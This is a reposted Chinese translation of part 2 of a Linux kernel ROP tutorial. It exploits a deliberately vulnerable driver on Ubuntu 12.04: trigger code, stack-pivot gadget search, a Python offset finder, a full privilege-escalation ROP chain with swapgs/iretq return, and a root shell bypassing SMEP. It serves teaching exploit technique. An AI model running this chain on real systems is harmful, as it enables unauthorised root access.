安全路透社
当前位置:安全路透社 > 网络转载 > 正文

Linux内核ROP姿势详解(二)

前言

在本教程的第1部分中,我们已经演示了如何为我们的系统(3.13.0-32内核-Ubuntu 12.04.5 LTS)找到有用的ROP gadgets用来构建一个用来提权的ROP链。我们还开发了一个易受攻击的内核驱动程序,允许任意代码执行。这部分我们将使用这个内核模块在实践中演示ROP链:提权,修复系统并干净地“退出”到用户态。

以下是第1部分的ROP链的要求:

执行提权的payload

可以引用驻留在用户空间中的数据(即允许从用户空间获取数据)

驻留在用户空间中的指令可能无法执行

第1部分演示的脆弱的内核模块由于缺少对offset边界的检查从而允许设置一个函数指针指向任意的内存地址。简单的触发代码如下所示:

#define DEVICE_PATH "/dev/vulndrv"
...

int main(int argc, char **argv) {
        int fd;
        struct drv_req req;

        req.offset = atoll(argv[1]);

        fd = open(DEVICE_PATH, O_RDONLY);

        if (fd == -1) {
                perror("open");
        }

        ioctl(fd, 0, &req;);

        return 0;
}

在上面的代码段中,我们控制了有漏洞的内核模块中被声明为unsigned long类型的offset,可以引用任何内核或用户空间的内存地址。

Stack Pivot

因为我们不能将内核控制流重定向到用户空间地址,所以我们需要在内核空间中寻找合适的gadget。在用户空间中准备我们的ROP链,然后将堆栈指针设置到此ROP链的开头。这样,我们不直接执行驻留在用户空间中的指令,而是从用户空间中获取指向内核空间中的指令。

在有漏洞的函数device_ioctl()的开头设断点,我们可以在函数指针解引用之前检查寄存器的值(在device_ioctl()调用之间有一些固定的值)。

0xffffffffa013d0bd <device_ioctl>       nopl   0x0(%rax,%rax,1) 
0xffffffffa013d0c2 <device_ioctl+5>     push   %rbp
0xffffffffa013d0c3 <device_ioctl+6>     mov    %rsp,%rbp
0xffffffffa013d0c6 <device_ioctl+9>     sub    $0x30,%rsp
0xffffffffa013d0ca <device_ioctl+13>    mov    %rdi,-0x18(%rbp)
0xffffffffa013d0ce <device_ioctl+17>    mov    %esi,-0x1c(%rbp)
0xffffffffa013d0d1 <device_ioctl+20>    mov    %rdx,-0x28(%rbp)           [user-space address of passed req struct]
0xffffffffa013d0d5 <device_ioctl+24>    mov    -0x1c(%rbp),%eax
0xffffffffa013d0d8 <device_ioctl+27>    test   %eax,%eax
0xffffffffa013d0da <device_ioctl+29>    jne    0xffffffffa013d145 <device_ioctl+136>
0xffffffffa013d0dc <device_ioctl+31>    mov    -0x28(%rbp),%rax
0xffffffffa013d0e0 <device_ioctl+35>    mov    %rax,-0x10(%rbp)           [save req struct address to -0x10(%rbp)]
0xffffffffa013d0e4 <device_ioctl+39>    mov    -0x10(%rbp),%rax
0xffffffffa013d0e8 <device_ioctl+43>    mov    (%rax),%rax
0xffffffffa013d0eb <device_ioctl+46>    mov    %rax,%rsi
0xffffffffa013d0ee <device_ioctl+49>    mov    $0xffffffffa013e066,%rdi
0xffffffffa013d0f5 <device_ioctl+56>    mov    $0x0,%eax
0xffffffffa013d0fa <device_ioctl+61>    callq  0xffffffff81746ca3
0xffffffffa013d0ff <device_ioctl+66>    mov    -0x10(%rbp),%rax
0xffffffffa013d103 <device_ioctl+70>    mov    (%rax),%rax
0xffffffffa013d106 <device_ioctl+73>    shl    $0x3,%rax
0xffffffffa013d10a <device_ioctl+77>    add    $0xffffffffa013f340,%rax
0xffffffffa013d110 <device_ioctl+83>    mov    %rax,%rsi
0xffffffffa013d113 <device_ioctl+86>    mov    $0xffffffffa013e074,%rdi
0xffffffffa013d11a <device_ioctl+93>    mov    $0x0,%eax
0xffffffffa013d11f <device_ioctl+98>    callq  0xffffffff81746ca3
0xffffffffa013d124 <device_ioctl+103>   mov    $0xffffffffa013f340,%rdx      mov    -0x10(%rbp),%rax              mov    (%rax),%rax
0xffffffffa013d132 <device_ioctl+117>   shl    $0x3,%rax
0xffffffffa013d136 <device_ioctl+121>   add    %rdx,%rax                     mov    %rax,-0x8(%rbp)
0xffffffffa013d13d <device_ioctl+128>   mov    -0x8(%rbp),%rax
0xffffffffa013d141 <device_ioctl+132>   callq  *%rax                         jmp    0xffffffffa013d146 <device_ioctl+137>
0xffffffffa013d145 <device_ioctl+136>   nop
0xffffffffa013d146 <device_ioctl+137>   mov    $0x0,%eax
0xffffffffa013d14b <device_ioctl+142>   leaveq
0xffffffffa013d14c <device_ioctl+143>   retq

rax寄存器包含要执行的指令的地址。我们可以提前计算这个地址,因为我们知道ops数组基地址和用于计算函数指针fn()的地址传递的offset的值。例如,给定的ops基地址0xffffffffaaaaaaaf和offset=0×6806288,fn地址为0xffffffffaaaaaaaf+8*0×6806288=0xffffffffdeadbeef。

反过来,我们可以找到在内核空间中执行的目标地址的偏移值。有很多stack pivot的gadgets小工具。例如,以下是用户空间ROP链中遇到的常见stack pivot:

  • mov %rsp, %rXx ; ret
  • add %rsp, ...; ret
  • xchg %rXx, %rsp ; ret
  • 在内核空间中实现任意代码执行需要将栈指针设置为我们控制的用户空间地址。即使我们的测试环境是64位,但是最后一个stack pivot使用32位寄存器,即xchg %eXx, %esp ; ret或xchg %esp, %eXx ; ret。如果$rXx包含有效的内核内存地址(例如0xffffffffXXXXXXXX),则该stack pivot指令将$rXx较低的32位(0xXXXXXXXX作为用户空间地址)设置为新的栈指针。由于该$rax值在执行fn()之前已知,所以我们知道新的用户空间栈将在哪里,并相应地执行mmap操作。

    使用第1部分中的ROPGadget工具,我们可以看到内核中有很多合适的包含xchg指令的stack pivots:

    0xffffffff81000085 : xchg eax, esp ; ret
    0xffffffff81576254 : xchg eax, esp ; ret 0x103d
    0xffffffff810242a6 : xchg eax, esp ; ret 0x10a8
    0xffffffff8108e258 : xchg eax, esp ; ret 0x11e8
    0xffffffff81762182 : xchg eax, esp ; ret 0x12eb
    0xffffffff816f4a04 : xchg eax, esp ; ret 0x13e9
    0xffffffff81a196fc : xchg eax, esp ; ret 0x1408
    0xffffffff814bd0fd : xchg eax, esp ; ret 0x148
    0xffffffff8119e39b : xchg eax, esp ; ret 0x148d
    0xffffffff813f8ce5 : xchg eax, esp ; ret 0x14c
    0xffffffff810db968 : xchg eax, esp ; ret 0x14ff
    0xffffffff81d5953e : xchg eax, esp ; ret 0x1589
    0xffffffff81951aee : xchg eax, esp ; ret 0x1d07
    0xffffffff81703efe : xchg eax, esp ; ret 0x1f3c
    ...

    选择 stack pivot gadget时,唯一的注意事项是需要对齐8个字节(因为ops是8个字节指针的数组,并且其基址正确对齐)。以下简单的脚本可用于查找合适的gadget:

    ==================== find_offset.py ====================
    #!/usr/bin/env python
    import sys
    
    base_addr = int(sys.argv[1], 16)
    
    f = open(sys.argv[2], 'r') # gadgets
    
    for line in f.readlines():
            target_str, gadget = line.split(':')
            target_addr = int(target_str, 16)
    
            # check alignment
            if target_addr % 8 != 0:
                    continue
    
            offset = (target_addr - base_addr) / 8
            print 'offset =', (1 << 64) + offset
            print 'gadget =', gadget.strip()
            print 'stack addr = %x' % (target_addr & 0xffffffff)
            break
    ========================================================
    
    vnik@ubuntu:~$ cat ropgadget | grep ': xchg eax, esp ; ret' > gadgets
    vnik@ubuntu:~$ ./find_offset.py 0xffffffffa0224340 ./gadgets
    offset = 18446744073644332003
    gadget = xchg eax, esp ; ret 0x11e8
    stack addr = 8108e258

    上面的栈地址表示ROP链需要mmaped(fake_stack)的用户空间地址:

    unsigned long *fake_stack;
    
    mmap_addr = stack_addr & 0xfffff000;
    assert((mapped = mmap((void*)mmap_addr, 0x2000, PROT_EXEC|PROT_READ|PROT_WRITE,
    	MAP_POPULATE|MAP_FIXED|MAP_GROWSDOWN, 0, 0)) == (void*)mmap_addr);
    
    fake_stack = (unsigned long *)(stack_addr);
    *fake_stack ++= 0xffffffff810c9ebdUL; /* pop %rdi; ret */
    
    fake_stack = (unsigned long *)(stack_addr + 0x11e8 + 8);

    选择的stack pivot中的ret指令具有数字操作数。没有参数的ret指令会将返回地址从堆栈中弹出并跳转到该地址。然而,在某些调用约定(例如Microsoft __stdcall)中,被调用方函数负责清理堆栈。在这种情况下,ret使用一个操作数来表示在获取下一条指令后从堆栈中弹出的字节数。因此,stack pivot之后的第二个ROP gadgets位于偏移位置0x11e8 + 8:一旦执行stack pivot,控制将被转移到下一个gadget,但堆栈指针将处于$rsp + 0x11e8。

    payload

    参考第1部分的堆栈布局,我们可以在用户空间中准备ROP链,如下所示:

    fake_stack = (unsigned long *)(stack_addr);
    
    *fake_stack ++= 0xffffffff810c9ebdUL;   /* pop %rdi; ret */
    
    fake_stack = (unsigned long *)(stack_addr + 0x11e8 + 8);
    
    *fake_stack ++= 0x0UL;                  /* NULL */
    *fake_stack ++= 0xffffffff81095430UL;   /* prepare_kernel_cred() */
    *fake_stack ++= 0xffffffff810dc796UL;   /* pop %rdx; ret */
    //*fake_stack ++= 0xffffffff81095190UL; /* commit_creds() */
    *fake_stack ++= 0xffffffff81095196UL;   /* commit_creds() + 2 instructions */
    *fake_stack ++= 0xffffffff81036b70UL;   /* mov %rax, %rdi; call %rdx */

    我们对第1部分的ROP链进行了一些修改。特别地,commit_creds()地址被移位了2个指令。这样做的原因是我们正在使用call指令执行commit_creds()。在call将控制转移到第一条指令之前,该指令将返回地址保存在堆栈上。和其他函数一样,commit_creds有开头和结尾,能够执行push和pop操作。因此,一旦函数执行,控制将被转移到保存的返回地址。但是,我们希望将其转移到ROP链中的下一个gadget。要使用该call指令作为ROP gadget,我们可以简单地跳过开头的一个push指令:

    (gdb) x/10i 0xffffffff81095190
    0xffffffff81095190      nopl   0x0(%rax,%rax,1)
    0xffffffff81095195      push   %rbp
    0xffffffff81095196      mov    %rsp,%rbp
    0xffffffff81095199      push   %r13
    0xffffffff8109519b      mov    %gs:0xc7c0,%r13
    0xffffffff810951a4      push   %r12
    0xffffffff810951a6      push   %rbx
    0xffffffff810951a7      mov    %rdi,%rbx
    0xffffffff810951aa      sub    $0x8,%rsp
    0xffffffff810951ae      mov    0x498(%r13),%r12

    跳过push $rbp(和第一个nop)允许我们使用将call指令作为ROP gadget:堆栈上保存的返回地址将被commit_creds()结尾弹出,ret会将控制流转移到ROP链中的下一个gadget。

    固定

    上述ROP链将给出我们的调用进程超级用户的权限。然而,一旦所有的ROP gadgets被执行,控制将被转移到堆栈上的下一条指令,那里是一些未初始化的内存值。我们需要以某种方式恢复堆栈指针并将控制转移回用户空间进程。

    您可能会意识到系统调用会一直切换内核/用户空间上下文。一旦进程执行系统调用,它需要恢复其状态,以便它可以在系统调用之后继续执行下一条指令。这通常使用iret(特权返回)指令从内核空间返回到用户空间进程。但是iret(或在我们的情况下为64位操作数的iretq)期望的特定的堆栈布局如下所示:

     IRET

    我们需要扩展我们的ROP链,以包含一个新的用户空间指令指针(RIP),用户空间堆栈指针(RSP),代码和堆栈段选择器(CS和SS)以及具有各种状态信息的EFLAGS寄存器。可以使用下面的save_state()函数从用户空间进程获取CS,SS和EFLAGS值:

    unsigned long user_cs, user_ss, user_rflags;
    
    static void save_state() {
            asm(
            "movq %%cs, %0\n"
            "movq %%ss, %1\n"
            "pushfq\n"
            "popq %2\n"
            : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
    }

    内核.text段的iretq指令的地址可以通过objdump获得:

    vnik@ubuntu:~# objdump -j .text -d ~/vmlinux | grep iretq | head -1
    ffffffff81053056:       48 cf                   iretq  

    最后要注意的是,在执行iret之前,64位系统需要实现swapgs指令。该指令通过用一个MSR中的值交换GS寄存器的内容。在进入内核空间例行程序(例如系统调用)时会执行swapgs指令以获取指向内核数据结构的指针,因此在返回用户空间之前需要一个匹配的swapgs。

    我们现在可以将所有的ROP链放在一起:

    save_state();
    
    fake_stack = (unsigned long *)(stack_addr);
    
    *fake_stack ++= 0xffffffff810c9ebdUL; /* pop %rdi; ret */
    
    fake_stack = (unsigned long *)(stack_addr + 0x11e8 + 8);
    
    *fake_stack ++= 0x0UL;                  /* NULL */
    *fake_stack ++= 0xffffffff81095430UL;   /* prepare_kernel_cred() */
    *fake_stack ++= 0xffffffff810dc796UL;   /* pop %rdx; ret */
    *fake_stack ++= 0xffffffff81095196UL;   /* commit_creds() + 2 instructions */
    *fake_stack ++= 0xffffffff81036b70UL;   /* mov %rax, %rdi; call %rdx */
    
    *fake_stack ++= 0xffffffff81052804UL;   /* swapgs ; pop rbp ; ret */
    *fake_stack ++= 0xdeadbeefUL;           /* dummy placeholder */
    
    *fake_stack ++= 0xffffffff81053056UL;   /* iretq */
    *fake_stack ++= (unsigned long)shell;   /* spawn a shell */
    *fake_stack ++= user_cs;                /* saved CS */
    *fake_stack ++= user_rflags;            /* saved EFLAGS */
    *fake_stack ++= (unsigned long)(temp_stack+0x5000000);  /* mmaped stack region in user space */
    *fake_stack ++= user_ss;                /* saved SS */

    结果

    Ubuntu 12.04.5(x64)的完整EXP可以在Github上找到。首先,我们需要使用基地址获取数组偏移量:

    vnik@ubuntu:~$ dmesg | grep addr | grep ops
    [  244.142035] addr(ops) = ffffffffa02e9340
    vnik@ubuntu:~$ ~/find_offset.py ffffffffa02e9340 ~/gadgets 
    offset = 18446744073644231139
    gadget = xchg eax, esp ; ret 0x11e8
    stack addr = 8108e258

    然后,将基地址和偏移地址传递给ROP:

    vnik@ubuntu:~/kernel_rop/vulndrv$ gcc rop_exploit.c -O2 -o rop_exploit
    vnik@ubuntu:~/kernel_rop/vulndrv$ ./rop_exploit 18446744073644231139 ffffffffa02e9340
    array base address = 0xffffffffa02e9340
    stack address = 0x8108e258
    # id    
    uid=0(root) gid=0(root) groups=0(root)
    # 

    我们是否提到这将绕过SMEP?:)有更简单的方法绕过SMEP。例如,将CR4bit清除为ROP gadget,然后在用户空间中执行其余的提权payload(即commit_creds(prepare_kernel_cred(0))与iret)。本教程的目标不是绕过一定的保护机制,而是演示内核ROP(整个payload)可以像用户空间中的ROP一样容易地在内核空间中执行。内核ROP有明显的缺点:主要是需要能够获取对内核引导映像的访问(默认为0600)。这不是内核的问题,但是如果没有其他内存泄漏,那么对于自定义内核可能会是一个问题。

    *本文参考来源:Linux Kernel ROP – Ropping your way to # (Part 2)作者:houjingyi  

    未经允许不得转载:安全路透社 » Linux内核ROP姿势详解(二)

    赞 (0)
    分享到:更多 ()

    评论 0

    评论前必须登录!

    登陆 注册